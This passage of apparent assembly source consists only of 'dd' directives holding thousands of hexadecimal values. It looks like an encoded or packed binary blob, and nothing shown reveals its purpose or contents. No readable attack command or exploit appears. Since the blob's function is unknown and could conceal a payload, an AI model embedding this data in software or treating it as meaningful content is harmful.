414C5096h, 8A565362h, 49026211h, 13693D72h dd 754F0171h, 35F7EC4Fh, 1F07FA14h, 53D03846h, 0BEA4F15h dd 100B066Ah, 0F575170Ah, 0A85F960Bh, 0F0161127h, 7E8D1803h dd 261D1FFh, 28342868h, 43CE1E22h, 0C475E038h, 9D0341C9h dd 66C31865h, 7AC183FFh, 0EBDF1B23h, 6B1260B1h, 31C0C28Ah dd 368D96B9h, 0F41BFF47h, 0FA0DC768h, 0C14CA56h, 0E41AECFAh dd 0B10AC29Fh, 0F94E1000h, 71DDBAE5h, 0D913122Ah, 78F82F74h dd 80217281h, 753AEC7Bh dd 0D4251B4Eh, 95AAF685h, 0FBF69107h, 80A98F29h, 431CBC66h dd 0F90AEB4Dh, 0B36DF222h, 6ADDEA82h, 0BEAF40A0h, 0E8AA6FFh dd 8A657408h, 0D1C60093h, 0D26182F6h, 460D090h, 1AEB4048h dd 2FF93C80h, 5C0A0F33h, 2E010AEAh, 0D02E0B75h, 488D06ECh dd 4D250178h, 4554FC0Ch, 0A539A1CFh, 2A680573h, 81365DBFh dd 3BFB2B1Fh, 746A2CFEh, 1095DE96h, 31BB5A7Bh, 0C2072485h dd 221EF177h, 104D0882h, 2198C985h, 0C0FC7D24h, 0FB3B4C77h dd 0FB44872h, 14643F23h, 7D788877h, 4461C418h, 62B0AA2Bh dd 974ED273h, 2C57A567h, 3E5E24E1h, 46917AA1h, 2B170A14h dd 536522C3h, 8895203Dh, 0CAD6FD18h, 5101403Ch, 0CE493D5Ah dd 7226A28Dh, 6821F714h, 432D12C5h, 40CD8511h, 2BEC7318h dd 0C46E8BC8h, 0D4E18E1Ah, 4400982h, 0ACF1A50h, 26B7DF8h dd 0E87FFB69h, 9036EB8Dh, 560C2DB3h, 12A10489h, 4278044Eh dd 48400EE3h, 89764101h, 1907EB2Dh, 0CC6959B9h, 1C091625h dd 5EB8675h, 0D9750957h, 79292780h, 1FE5D25Dh, 0D7087D3Bh dd 0EB6A0BF1h, 0FB943CD8h, 849DB5F0h, 0C8B3D91h, 0ADA47453h dd 8A08A920h, 77488D1Fh, 63F94181h, 0D2C3C8DFh, 2BD6DCCCh dd 0F405DF2Ch, 0EB46031Eh, 2DFB80D0h, 619F6D72h, 503140Fh dd 162B1C36h, 0AE27D231h, 8C0F7BD1h, 442929C6h, 9223BFEh dd 8F222479h, 396A637Ah, 5EEE7559h, 4374302Dh, 870AEBEEh dd 5321608h, 0C7783C05h, 485845F8h, 1F440813h, 399612C7h dd 17753706h, 48125553h, 0D03F0420h, 1385EADh, 0C816C246h dd 10E9D0FFh, 0A9D303BFh, 0BD47E4FCh, 94F3A640h, 8E90DE5Bh dd 1ACBBE3Dh, 14E230E9h, 570B2BECh, 8B66632Bh, 0C7235819h dd 0FF054A57h, 2FFBCBA4h, 84D259B3h, 8D3B3728h, 78367325h dd 0C3EE8AEEh, 42F4BA8Eh, 141262D8h, 48CAFE84h, 3960576h dd 0AF0F0994h, 0F1031C0Dh, 963E4C89h, 8A240626h, 0B68FFC18h dd 0F838BA72h, 0D55ECC4h, 8C1F60Ch, 5F692D40h, 0FC24BAFDh dd 4DEB4382h, 0B8042A17h, 1C75A621h, 4201149Dh, 2E1833Eh dd 7D810640h, 800234D8h, 0D830F377h, 392C1F75h, 27764445h dd 1B7C0F6h, 0DC4B05C7h, 7F228DC2h, 0EBFF8438h, 80B51166h dd 0D9F60760h, 41F7C91Bh, 0B389C803h, 7A05BB28h, 61026DF9h dd 0F8F13490h, 0D4D8F734h, 0E0288F5Eh, 21FA99Bh, 239838D6h dd 1F014C6Ah, 74A33FEDh, 4270880Bh, 5572BDF6h, 5BFBF86Ah dd 597FFC85h, 65BAF952h, 0C4C4FD13h, 95EBE6FCh, 0B540E8ABh dd 5F117796h, 0FDFCC88Bh, 0D892735Eh, 209629C7h, 7A2675D2h dd 0C9830288h, 41AEF2FFh, 8A4FBD82h, 14FD9D86h, 7384709h dd 2FE9174h, 5FFC5E84h, 30142DC9h, 83417BE1h, 0D9E926E3h dd 0F7B673BFh, 0F4895C4Ah, 64DB61CBh, 0A612F39Bh, 8B03468Ah dd 0A9473AC9h, 809C0477h, 0D1F74049h, 5E5BC18Bh, 0A0A541A5h dd 6AEB08BFh, 95A4768Dh, 8A54BE92h, 0E1AD5744h, 3BC40F88h dd 0DC7B2A29h, 1A462322h, 79C70E21h, 0AB5543F9h, 3F08D3FEh dd 3A0FD0Ah, 0CCD2595h, 8A196030h, 97808211h, 47178864h dd 0EE5863A6h, 74244E2Eh, 121C5E3h, 6C731145h, 346125E1h dd 0F6275084h, 331223C5h, 724FC7D7h, 90660932h, 7047C609h dd 0CA0DAE02h, 60088812h, 5BFF428Dh, 0F1EE5DFBh, 1A0EAD64h dd 0D8418514h, 2C68FEA1h, 9BA0D07Ah, 0A8A13C0h, 0D9773842h dd 0C984D11Eh, 811351D4h, 0D80BED75h, 0DC32D20h, 5610E3C1h dd 0BF0AE012h, 24FDA2A6h, 339CB6Fh, 83F905F0h, 0AB23FFF1h dd 0D0C6F3CFh, 528104C2h, 0B648ACE1h, 94B32529h, 0FC7F07D3h dd 0CFE6F408h, 0C40B808Dh, 22208AA9h, 38FC428Bh, 3674D812h dd 0AEF384Fh, 3C2ACFDCh, 0E8C1E70Ch, 89152710h, 210612DCh dd 0A396EBD4h, 0B43AB25Ch, 70870FEh, 25FCC4FDh, 422E0A6h dd 753EB88Eh, 3A02183Ch, 0CF0A2ED8h, 610C2688h, 9BF32512h dd 0E1B11D8Ah, 19F10241h, 3C112B90h, 4E92FE03h, 367AA68Bh dd 44F0D248h, 1B74908Bh, 40E0D114h, 88C97C92h, 8CD87901h dd 0E98B4202h, 0E0634166h, 0A808FB28h, 68B2666Dh, 24D25C02h dd 26C922CAh, 7AA196C1h, 0D374388Ch, 0C6C42AAh, 0BB6A6A57h dd 0E0506075h, 5AB7AF3h, 168A5F07h, 0CA78D2B3h, 0CF232740h dd 0D20385A0h, 448DE309h, 18660205h, 75C44046h, 0F2F4B0E5h dd 40ED385h, 0F12815EFh, 6AE29AD1h, 0DE61FF51h, 0D352805Bh dd 3EEC1E3h, 354C098Ah, 7F0484E0h, 0C30C9707h, 8BD9EB42h dd 1744B2DAh, 5624AD1Eh, 0D3584A85h, 852667E0h, 80220B75h dd 1D2FC0Eh, 0C22B5F9Dh, 25D27E5Eh, 2356A289h, 71CBC2C3h dd 0E742C910h, 0D64B1371h, 0FC349A1h, 4F16A7E5h, 0CDD6083Ah dd 6CC56AF0h, 0B06BE6B3h, 53599666h, 0C3225B2Eh, 26A6F339h dd 0C8C63F2Eh, 84759C7h, 1816891Fh, 7518860Ah, 83E04FCFh dd 7EDEBFEFh, 7203BD3Ah, 0E5040ACBh, 9758B4Eh, 4E12F3C6h dd 53151CEBh, 3374163Fh, 0B49334Bh, 9D4CCD72h, 0D3CBD730h dd 476C0DD2h, 1E054D3Fh, 96F37549h, 3DEF130Fh, 5EB66C02h dd 8FD02B28h, 2A4BD064h, 2BBC663Ch, 59A64423h, 0DD2338Ah dd 2578805h, 1B651034h, 5D52732Dh, 77B31249h, 0FFF3C1A3h dd 10768C8Ch, 76CA85B6h, 5B0FD42h, 92D0CA10h, 0D2564956h dd 61C0CE24h, 1EC603D1h, 0BA76FE3Bh, 820FF802h, 4540178h dd 0F1551451h, 0F9CCA2F1h, 29720008h, 24FFA5F3h, 0CE2D6895h dd 0BACC4141h, 0E9831D40h, 0C723A04h, 61FCE0BDh, 808530C8h dd 330E06CDh, 903F788Dh, 0C5FC113Fh, 0BC0B32E7h, 2321E009h dd 1D2A8AD1h, 14609DDh, 6D5ED255h, 9012AF02h, 0C72AC6B4h dd 0C5CC425Dh, 2C29498Dh, 3B682617h, 0A611E641h, 2490290Bh dd 47454619h, 9C8C1A42h, 0F5F6640h, 4444094Ch, 1234893Ch dd 4824242Ch, 1D41A81Ch, 1D89E48Eh, 0E811328Fh, 0EC22912Eh dd 2EF012E9h, 0E9F42291h, 912EF812h, 8DE8FC22h, 0CFB90472h dd 0F892882Ch, 91E20A29h, 99180F1h, 0BDA0228Ch, 0F7E1524Ah dd 0E9E4990h, 43FA460Ch, 5BA44512h, 180B550Eh, 74318D2Ch dd 397CD031h, 43804ED2h, 0FD0D8524h, 0F1FCE40Dh, 0F708D0C1h dd 1466D949h, 0D4F0CFB0h, 31F9A290h, 4308082Bh, 0D04470CFh dd 3819CC18h, 248B6009h, 373B03DCh, 0B34E56E0h, 0B6574F50h dd 7598B487h, 0EEA43820h, 19EF06C9h, 2A4B8C7Eh, 6D289029h dd 2CAC4E4Bh, 0AFA152EEh, 5A134624h, 5C6853C4h, 0BC80A9B4h dd 22C40991h, 0DCD444CCh, 0F712E489h, 1C91682Ah, 1811C874h dd 8B1444BAh, 0BA1048A4h, 0A48B0C44h, 44BA0848h, 9EA48B04h dd 33205698h, 22180D10h, 3C452809h, 0B8418C4Bh, 883DB615h dd 84791015h, 0B856140Eh, 4F31BAD3h, 0F37EBE56h, 103509BDh dd 942454AEh, 0DD329C02h, 695F593Eh, 51D80E4Fh, 0F0251966h dd 53D0A7Fh, 751BC1AFh, 0F3D9F55h, 7E71E8ADh, 7A0E9D2Dh dd 99D21AA9h, 535D2366h, 6A41C48Eh, 61165F0Bh, 700A98BDh dd 0EE4A5356h, 0F62983Fh, 0F84B05DCh, 2909F3F1h, 0B9311FA1h dd 3DEB2879h, 0E8164E55h, 6E2C6E03h, 5F5FDADCh, 720E56A5h dd 2220F840h, 3420C3F6h, 7C19ED75h, 72A1103Fh, 0DBD907B4h dd 3CC10DA2h, 0A352DC23h, 0C810304Ah, 0DB1C7C0Ah, 0B846C3E2h dd 0AF42540h, 0D42405C7h, 21D50CDFh, 206CA314h, 88281E13h dd 19A1223Bh, 2C7B122Ch, 23893014h, 34A3298Fh, 0E360BE36h dd 1D9BF4C4h, 2FFE7DD9h dd 8B3AA1D6h, 0F20CCC80h, 0E66DFEF4h, 0F47D33DFh, 2676FE0Ch dd 0F84855E6h, 8528AC46h, 0A80C4654h, 0CF18F0Ch, 70DD5A1Eh dd 0C08AA03Fh, 64F053E7h, 0E3D11DD2h, 0A355031Eh, 23894A08h dd 0F3FC63F8h, 5BFF0820h, 0C2F747E0h, 59580008h, 24680487h dd 116A071Ch, 0A16457E1h, 5E863146h, 0D48C80F8h, 6AE041D2h dd 0D3353FE1h, 864AD0A2h, 0ADBEC7F8h, 0CFD240Fh, 0F141D04Dh dd 0B8AC2E49h, 0FAD437A3h, 0A55DA173h, 95041811h, 0D8EFCA1h dd 250C033h, 0F5E89ADh, 401502D8h, 148120B6h, 6EAC67B7h dd 3357E569h, 0C623D569h, 0B5ACCE65h, 35F48AA6h, 85F08A80h dd 0BC40D340h, 289B34D9h, 4197ECA1h, 6604FFA8h, 1825A2E1h dd 61AC451h, 8BB01D02h, 0EC5768C8h, 1BC124F8h, 0BDA5FC66h dd 0B9707349h, 0D108A9F8h, 84691134h, 0AB34790Ch, 0D8F227AFh dd 5E2C7D72h, 1844AED4h, 0C6441F3h, 101C08E4h, 89AF45E8h dd 0FDF06552h, 0B8F21A92h, 9F2D2897h, 895F3099h, 6D9426B9h dd 0D8A29EF8h, 44B6700Eh, 8601CC24h, 0B34A75C9h, 0D4418F70h dd 21A750E5h, 70F58455h, 0EA19F7D5h, 0EC7BCC94h, 161789ABh dd 0D857A1BCh, 9EB1B0Bh, 0CD8AF45Ch, 8F7ECC2Dh, 8D60AD52h dd 0E0839151h, 27F0EC3Bh, 0E9024B0Fh, 0EA150124h, 0A4D494Dh dd 54EC23A0h, 86100614h, 17D500ACh, 0EC23E603h, 0B7247078h dd 0C6ADDD76h, 0ACC226C8h, 611C6733h, 0D9FF206Bh, 5E9FA518h dd 2629E90Bh, 0BABCA75Ah, 4477B3BEh, 0C69A125Fh, 120FA89h dd 6683397Ch, 0A70578FEh, 521E27h, 48D4ED3h, 4C3912B6h dd 5E1A8683h, 483B0507h, 1F5A7E08h, 89F60C14h, 41A4934Dh dd 0CACD486Bh, 6C524A0h, 8946144Dh, 72A00C31h, 470E3B01h dd 0A504770Ch, 482676F0h, 85F0DA89h, 0F248565Ch, 0C6E4D3CEh dd 70D5E268h, 44949941h, 2542C95Dh, 0B0247B3Fh, 0A5069582h dd 0DEB2B8FFh, 0E2B0F2Dh, 72823662h, 9E5AB802h, 277FC36Dh dd 196A50FCh, 837068FEh, 0B1FA6164h, 25890E2Dh, 835A809h dd 1960586Ah, 7427A922h, 8F6DC32Eh, 348D2860h, 0C8B0D76h dd 3B489B3h, 303D48E2h, 2404247Ch, 1681207h, 6F3E2E1Ah dd 26C641FDh, 128254FFh, 8F64C3EBh, 0DD4913FEh, 1754669Ah dd 0D42C628h, 479810Ah, 50722A69h, 0E652FA51h, 0A16AED39h dd 79C0D3Eh, 2CBBB28Bh, 0AEB76E8h, 0EF9109A6h, 0CB064B1Bh dd 0C6BB004h, 0C25B3459h, 0B8F016D0h, 9D5049E4h, 0C579BEAh dd 6C6676A6h, 5A098D16h, 0AA069C50h, 503D9141h, 0D7B810FBh dd 0D643D0F8h, 28D7467Bh, 0E066084Ch, 7D130C29h, 5F50B430h dd 5DD7B808h, 0D4D7B808h, 0AF664086h, 44099C0Fh, 84898C94h dd 74247C12h, 95A76C48h, 0D7B8D850h, 64F18484h, 48DC09D0h dd 50B5A7F0h, 85D95058h, 628D7BB8h, 5018D858h, 996889D9h dd 0B0098819h, 0A150F614h, 0A10ED950h, 0A41AD950h, 32045C33h dd 14090C0Fh, 24481C24h, 34222C91h, 503C4745h, 8C20D5AEh dd 0C8680D60h, 8C917809h, 0A3502B4Fh, 0ECECE56Ah, 9C0CE0F4h dd 24DD321h, 158BA81Eh, 0B8590B85h, 0F144DFD5h, 34A8F22Bh dd 5E853B39h, 5F523A73h, 11C0971Fh, 1822E48h, 1B55E2ABh dd 91C3CA9Ch, 85DA2B2Fh, 500A319h, 8D02F9C1h, 8988290Ch dd 5A622D46h, 583E3C0h, 8ACD0CA3h, 0B3C912C1h, 0C159C8B4h dd 68C3480Ah, 0DDB33F80h, 98B5AE19h, 0EA3E5459h, 0A1823C3h dd 0A1C9D223h, 85D6B8Dh, 0A3940969h, 0A9C95A42h, 4F66C8D0h dd 1C13AC83h, 10734108h, 0F85E2539h, 0EF56D9E9h, 89F132B3h dd 42269C31h, 3C815F7Dh, 0D92B5EF1h, 4D932B50h, 0FD6FCA83h dd 0A9EB859h, 42012FFAh, 48017D96h, 9BEF245Dh, 2A3C8919h dd 3EDC56DCh, 0B260A31Fh, 0FF335914h, 0DF6DE695h, 80A8006Dh dd 0FC240774h, 14EB45C7h, 0FE106ABCh, 0F6E8FF08h, 0E0044FC4h dd 185A460Eh, 0FE9777E8h, 1076EE21h, 4A093D42h, 3C4EF50Ah dd 1385495Ch, 0B1E30DEBh, 859D1622h, 0B0F85F32h, 82444F0h dd 6C0B1088h, 9F80DC8h, 0F70ECFA4h, 0D10C2E1h, 0D8F10C53h dd 64E61E47h, 0A0352AEh, 0D31AE13Ch, 3C57375Bh, 7259BF5Ah dd 0BDEBCC20h, 7BDFA510h, 21CC1F5Ah, 0FC1D0771h, 81250C4Eh dd 89925EE1h, 585E2974h, 253B2263h, 5879FBBCh, 36F904A5h dd 0AE5A34AFh, 0DF2B5761h, 398455F6h, 0B0D7AE46h, 495A705Bh dd 0F4930E0Bh, 10B779B8h, 4A8B0D57h, 966F3C3h, 0F0FA2BFBh dd 4355EDACh, 0E4200433h, 219CA556h, 2B990066h, 0C7123BD8h dd 0A2BD3E72h, 561CE86Ch, 25BE0F38h, 0DD65E650h, 2E740E43h dd 45A5458Ah, 0B4A6594Bh, 29A8497Fh, 0DBA14A1Eh, 0DB2B50F9h dd 0A30C4B7Eh, 55C7CDFCh, 0DAFF752Bh, 69A27EE7h, 5FAD32DDh dd 1C9F64EEh, 1DA8A89Bh, 773A92F6h, 82164902h, 14B20D88h dd 13F12FE0h, 0FB0DBEBh, 0A701A7CCh, 1860DE8Ch, 74C60B4Ch dd 19C02CBDh, 0F1D7C910h, 870C8A19h, 41EBD311h, 0FEEDC8C5h dd 1452504Bh, 9DE9D11Ch, 80EA1DDBh, 75C90BD8h, 0F312F7F4h dd 0AE59F08Bh, 359FC874h, 3E68014h, 3B0E72D1h, 877751CBh dd 598C0764h, 4E012D76h, 5E480672h, 0D07091C4h, 456F432Bh dd 266F1551h, 0C2620CEDh, 0A450EB18h, 0C48106Fh, 0C8F20891h dd 29911423h, 916C100Bh, 0B28B780Ch, 26744276h, 6F241BBCh dd 40D11114h, 5EB0DABEh, 4EE18374h, 0F803697Dh, 8CE4904Dh dd 47D0A184h, 4CB3D649h, 6A78354h, 58E92989h, 1CAC1CE5h dd 1C881843h, 114F27A9h, 10641421h, 921ACA77h, 0D1456154h dd 4CD9C9EBh, 0F189DBB8h, 1C212723h, 14B21890h, 4F1C1039h dd 0B385CC98h, 0F624A42Ch, 0D884A1E2h, 0DBB18129h, 5DDE803Eh dd 215A75FCh, 38D0F840h, 5E7F7418h, 6144C18Ah, 7A0B9E7Ch dd 0E98405DEh, 0CDFC8820h, 0EA751A02h, 0C95567EBh, 2BA5368h dd 0F9BEFF93h, 0A6A9939Bh, 0D7225C7Ah, 0F000F82Dh, 3874FB3Bh dd 0D769575Ch, 0E69F37EEh, 574A5B2Ah, 2A13CDAEh, 8BF35FC5h dd 71D75A69h, 0DD0D1721h, 66E92B01h, 8A5EAD5Fh, 0CDBE8291h dd 47E6969Eh, 46A0E09h, 0ED224C4Ch, 0A59EB1B5h, 946F1251h dd 3708B228h, 9EC3088Bh, 0ACAEB520h, 34F8F5D3h, 0A2BFF2F3h dd 70D70B67h, 3274163Bh, 0F4E089A9h, 3A010E8Ah, 4652750Fh dd 0EB314847h, 178F16BEh, 45AFD138h, 0B7014E07h, 3B153C57h dd 7A7619Eh, 6B6FE867h, 7076ABE3h, 0E2E04ABFh, 0F32B0EE6h dd 87278BA7h, 5737FC09h, 0E8104D3Ch, 0DD4DB0F5h, 0EABDF92Eh dd 0D021D64h, 1BC0B3B8h, 0EB5F48C0h, 0FD6AFF36h, 168BC41Ch dd 0CA380F81h, 0C89DE775h, 0D9EEDD18h, 71110EE0h, 2A5D3B43h dd 3106E294h, 48CD6A3Bh, 155B993Ah, 0BC3813E0h, 1D75844Dh dd 412D88EFh, 0AA8C0F1Bh, 5A123C9Dh, 85A18F90h, 0A1D120C0h dd 127BB2D0h, 0C3F2AFE2h, 0DF3B017Ch, 39257D5Eh, 2E182235h dd 5317617Eh, 0A2186A7h, 58120FA8h, 55C5C623h, 0EBC31E03h dd 8C15A265h, 5FC11413h, 0C84DC2F8h, 14AD9C0h, 43C1805Fh dd 8A8D0A65h, 0CCD88802h, 5839095Dh, 0DC1EEEEBh, 18821434h dd 0B1F8D7C6h, 41D07095h, 0C2D22F03h, 65D14557h, 8183BAAEh dd 528E5906h, 0FD0D0D33h, 585A086Bh, 910B7414h, 47A9ADCFh dd 418D4C48h, 0A792D90h, 407110FCh, 0BF006AFDh, 0D1C12BF6h dd 0E84852F8h, 3745AB5Ah, 3FC0F633h, 2457D63Bh, 4B30840Fh dd 0BB10DD04h, 25DA1DD2h, 756B4639h, 86222129h, 280195CAh dd 9D66C803h, 890631C2h dd 0C8A88032h, 408EB54Ah, 14823242h, 0D10C48E4h, 2766BECEh dd 52C4A256h, 0AE827EC4h, 94AC8409h, 0E9D6935Eh, 0B38822E9h dd 514328D8h, 0C766EE7Ah, 49982A25h, 8D2C6FEBh, 0C26BD4Fh dd 88AC031h, 1CBA096Eh, 0D27B2033h, 0B7391B93h, 0E24BF540h dd 23CF46Ah, 0C32B57DEh, 9050BF69h, 75E001BCh, 0AF57EB2Fh dd 0F10B27ADh, 1AEB4120h, 4C4C656h, 29884BFFh, 2E289B15h dd 48837412h, 406700A7h, 28770668h, 3C6BC0EAh, 0B69F6C0Ah dd 0C45DCB9Bh, 6265F8CDh, 71B06CE8h, 8AC98309h, 0F4A5EFD4h dd 7C12B352h, 43FF330Dh, 0CFF00DF8h, 883C11Dh, 1621CA03h dd 10E807ECh, 44113DA3h, 0D65DA44Eh, 6859722Fh, 0C71C6A6Dh dd 0C5EED219h, 2688889h, 159E2B50h, 0A39DAC62h, 8F98798Ch dd 3449D929h, 8C27CD30h, 0D3260BC6h, 81B1505Bh, 0EAD04875h dd 5650A419h, 170B14A8h, 9CD5037Bh, 1D098F6h, 7AE79074h dd 0E0D44BB7h, 58620A60h, 899C753Ch, 0F433F7DFh, 33164858h dd 0CDA04821h, 0CB543F13h, 243748D6h, 98064D09h, 2C7D5150h dd 4897F724h, 98758FC8h, 0BFDED9C4h, 923CAA48h, 13DCA201h dd 0B7CD982Dh, 68D1128Fh, 40A03252h, 61D0BEF8h, 0A659EC25h dd 0ED6C6926h, 3B504474h, 0D140303Dh, 86830F58h, 0C78B37C7h dd 0D5C3F724h, 1FE6E005h, 851C098Dh, 152FD040h, 298B0347h dd 430C602h, 5769BD83h, 0AA4E8979h, 793C2A22h, 0C41644AFh dd 0A11752F3h, 5F1086DFh, 32FC5015h, 1C40C53Bh, 0AAE42C93h dd 4A5189A3h, 8BBCA23Eh, 55B9F0E8h, 0DC71EEDh, 648059B2h dd 0ED3C82B4h, 71550974h, 15EB8B2Ch, 14136BF0h, 19972583h dd 963B109h, 5DC5AC3Dh, 4F3AA35Bh, 781D3932h, 0FF1913F7h dd 0C7D1B876h, 0C218166h, 76A8FBF7h, 320672A7h, 4060846h dd 842765D3h, 2AF20970h, 2459901Ah, 0DE493371h, 0F6204CC2h dd 400D4613h, 258CC813h, 0F7E71A30h, 6AC246D8h, 50CDC47Fh dd 0F40C3C53h, 0ACA3B4DBh, 3E182AAh, 0E880F980h, 8A96637h dd 0A031F3A1h, 3E278026h, 937582Bh, 5057267Eh, 432661E7h dd 990E750Ah, 0E5ED0E49h, 9BA4FD24h, 0BA279E07h, 63FFCB1Bh dd 0E48866D2h, 44F52599h, 3327A2D2h, 57CB2C8Fh, 13DB9DB7h dd 20F804FFh, 627E0ED0h, 68C01CA1h, 0BAB0049Dh, 4A387712h dd 399A148h, 0A19C30E4h, 0FC54265h, 0D3241864h, 1D6279F0h dd 917C243h, 13298616h, 0DA026844h, 0F975511Bh, 3B46D80Bh dd 0B37C4DA8h, 0E22D39ABh, 4ACEF474h, 8703EB38h, 0D9842683h dd 38304072h, 2DB45A4Dh, 403C480Bh, 3C030D4Ch, 1A8E8AC1h dd 40A70E88h, 146521Bh, 0B8053E51h, 99AB122Ch, 0D8E37A57h dd 6BA9E84Ah, 0F9EBD410h, 2A78021Ah, 1211191Bh, 7205116Ch dd 18AAA66Fh, 0D46C6FD6h, 906880EDh, 501DE6B4h, 0A1582496h dd 8471B46Ah, 0D04573B0h, 8D8DF703h, 9D382105h, 0F4B00617h dd 613C0B01h, 57087Ch, 202C04DDh, 0A41F888h, 0ED751938h dd 166A4342h, 940C7E22h, 325EBDEDh, 1A9008D5h, 10CB49EBh dd 8BCEDF64h, 721B5F97h, 0B413A041h, 563F0CB8h, 0A4501B40h dd 93DCBD43h, 52F7ECBh, 62C6A3Eh, 1B90B90Eh, 7030F9E7h dd 0CD9CC8AFh, 39800E07h, 880475E0h, 3CEB5419h, 50B5B0F2h dd 5BB52453h, 0C4F2586h, 30A1D7Bh, 18118EAh, 0E78D4A7h dd 0FDD41B80h, 937D803Ch, 460E5906h, 7D034983h, 72A2707Ah dd 559AAB75h, 0C25F0292h, 0BC0C68D9h, 0A34E8471h, 0B67431E4h dd 2AD58DE0h, 7C88FD8Bh, 14688D5Bh, 4BD6744Ch, 0C37319CFh dd 156B7D75h, 27F316E2h, 9163730Fh, 31BA5BB8h, 0D7406881h dd 7DB65C4Eh, 117CB3D9h, 352C0175h, 74440F93h, 780E64B1h dd 0A3356626h, 0E9831170h, 580D4C80h, 5C0D6834h, 0A1903295h dd 0C8D1F81h, 507CE180h, 0C13B8808h, 5343735Bh, 0E1502B04h dd 26C3FA81h, 3C9724Bh, 0E8EB14C0h, 99F9EE5Bh, 7E1BF192h dd 41D77127h, 0FE2000BBh, 3EFCC683h, 0C10F792Bh, 0CFE20FEFh dd 0C877C969h, 2A8C8D1Bh, 0B09A4401h, 8BF009BDh, 3E5E490Eh dd 0DFF1235h, 0FC33E6D9h, 53B83114h, 40D7FEE7h, 0CFFC5643h dd 12F8F80Ch, 3CC0C2F6h, 7E750C5Dh, 4FA0EC1h, 3F81834Ah dd 0D06A0376h, 4B7C8B5Ah, 8183B73h, 20204C75h, 0BB1E2A73h dd 8B8000A2h, 8DEBD3CAh, 43B024Ch, 5C2180F7h, 9FE44B8h dd 82285575h, 0F09543EEh, 0AAE04A8Dh, 9C1F3821h, 21C46CB8h dd 32840645h, 0FC0C0459h, 38C255Fh, 353080Bh, 0D7045BB6h dd 5A89F491h, 0C552E8Ah, 13E5BF95h, 312AC652h, 0C980D156h dd 2268DC5Dh, 0B5F45197h, 2B1FEC22h, 0C125F075h, 36CA04FBh dd 4B01F389h, 76DE3B5Eh, 66D35261h, 89D12C90h, 0D63B3980h dd 0D3B25DDh, 0CE6374DAh, 8E711442h, 400870BEh, 1C08FB83h dd 0D3CB60BEh, 0D615F7EEh, 2BA7421h, 7504034Ch, 319A9026h dd 8D1F0AEBh, 0A21FE04Bh, 0B8B4561Dh, 0C4BA4168h, 7975A71h dd 8992499Ah, 0CC0C934Eh, 24CAE01Fh, 5D44CF75h, 0F438ABF8h dd 0EAA5FD7Bh, 6CCAB0D4h, 4D15C84h, 940DBD84h, 52B6655Eh dd 0B3F9705Fh, 93B0C83h, 8A60751Eh, 8151202Ah, 0FE0F4D88h dd 1913D7C1h, 0A81E2573h, 450E82F2h, 9EDB160h, 8A6E2319h dd 0BB3FAE44h, 2529AA18h, 0E4671048h, 64562614h, 0EA33BA21h dd 0B99884D2h, 49971009h, 44C806DEh, 1289ED30h, 86DFFFF0h dd 4D2DF7F1h, 0F04C7EA1h, 8B86DCC8h, 0EC1D6C0Dh, 0A4685935h dd 0FE1C105h, 0A6DEC603h, 7E9D8070h, 515340C6h, 20A4D6FFh dd 5C18338Ah, 8555009h, 3B3A0D0Fh, 68A47DE0h, 0CC58DA88h dd 4829FE21h, 7B3C0B43h, 0D079803Dh, 830A09A8h, 12FE0460h dd 4078ADBCh, 0B2536935h, 55859F1Ch, 141359D6h, 169B6B10h dd 8BCFF648h, 4F43073h, 0E05FC180h, 2913AEF1h, 4CC0BC2Bh dd 0EA51EC11h, 0B1147448h, 0BAC612D1h, 50FF2BCCh, 513B300Dh dd 0E07A2305h, 82C6D13h, 9B692F14h, 89451453h, 0A89FA53Dh dd 4474B71Eh, 9864165Ah, 57CDCE31h, 0B8823C84h, 17BED823h dd 0F0E12C83h, 0F9C18323h, 41D74904h, 7A0E7D20h, 0B21DEE1h dd 8140D42Eh, 44EBF466h, 0ED9112ECh, 0D3F60DC8h, 0A6B1FE8h dd 8468A1FEh, 0C0DF3BD8h, 19730898h, 0EDF923B2h, 8758B923h dd 75CF0BFEh, 14C38331h, 8C68F12Bh, 11E77233h, 8B791F75h dd 27D8D4DAh, 5641523h, 34E6EB46h, 4BC559F2h, 84FA1173h dd 294096EFh, 0EDEB55C5h, 51263808h, 481C540Dh, 0E92EE30h dd 74DD0646h, 0DB8522F8h, 14BC14F0h, 5925DE86h, 0F1107FB8h dd 0A94143D5h, 602EFF38h, 896FDDE8h, 6EA61D53h, 0FA2E792Ah dd 0FC55C841h, 8C925CBEh, 77B42790h, 2844757Ch, 48FB3789h dd 24C87013h, 9FDE2055h, 481F37D1h, 31B0B53h, 0A917F318h dd 0AC2F8491h, 883B9A48h, 0FE1EC005h, 0D70B3901h, 48E3E974h dd 3317989Ah, 60617DFFh, 0B1C24C49h, 980D75CEh, 0C0206A67h dd 0C9855FCBh, 0D103057Ch, 0F7EB47E1h, 5443188Bh, 2B0A88F9h dd 0F1691FB2h, 0FEC6875Eh, 0A1834ED3h, 0E7657E3Fh, 98F7C830h dd 10D2299h, 73224A58h, 48836180h, 2B2C85FFh, 89CFC501h dd 220B3E0Fh, 0F453A838h, 5C23EC01h, 5DF4488h, 750FFE09h dd 0DE40AE38h, 0B21EC4Dh, 58CAB8EBh, 50E4154Fh, 9F48962Ch dd 19864DD6h, 996FA854h, 86A22D86h, 0D2D9B266h, 0F7EE7A06h dd 79893F68h, 1AEDB3EFh, 9D127308h, 0AAA1D7D9h, 28F17C0Bh dd 4637A6C0h, 51D9523Dh dd 0F30C2246h, 0B0649E5Ch, 0FE0640C0h, 587D0B88h, 974CC229h dd 65EFE177h, 30BFC625h, 0EFD3CEB1h, 0B3B092Bh, 7CFC90A2h dd 2FEBAFA0h, 0D8229A5h, 0ACE04E8Dh, 947B5521h, 0BC8D8A17h dd 622E6DAEh, 37098686h, 91F84E2Ch, 0CA0A8957h, 29FC01C1h dd 75E67F34h, 0D165F077h, 13040146h, 0A097FC32h, 33440E36h dd 3E20798Dh, 1D3B1AD8h, 373CED99h, 1ABB9912h, 530742A2h dd 89253070h, 422C8D08h, 0B0690904h, 8A680D03h, 177C447Fh dd 53075C1h, 9450895Dh, 22ADEC70h, 0E3575A7Ch, 14EFD63Fh dd 344A89E4h, 43C9A29Bh, 680B403Eh, 0E141C424h, 46C4B0B4h dd 34923127h, 0B0F45981h, 10468968h, 4300397h, 0E4208268h dd 0A976D851h, 70526415h, 750C131Ah, 0B35708E4h, 5F424BFAh dd 714E7D61h, 23C60722h, 5B2047Eh, 838463ACh, 72AF22D6h dd 0E159519Dh, 71D3571Fh, 2541C90Fh, 0C3C4DB33h, 43E05091h dd 3861C312h, 8264F669h, 26F95A5Ch, 236B8330h, 500840F7h dd 0ECC09C06h, 501F924Ah, 5CC186FBh, 792DDDE7h, 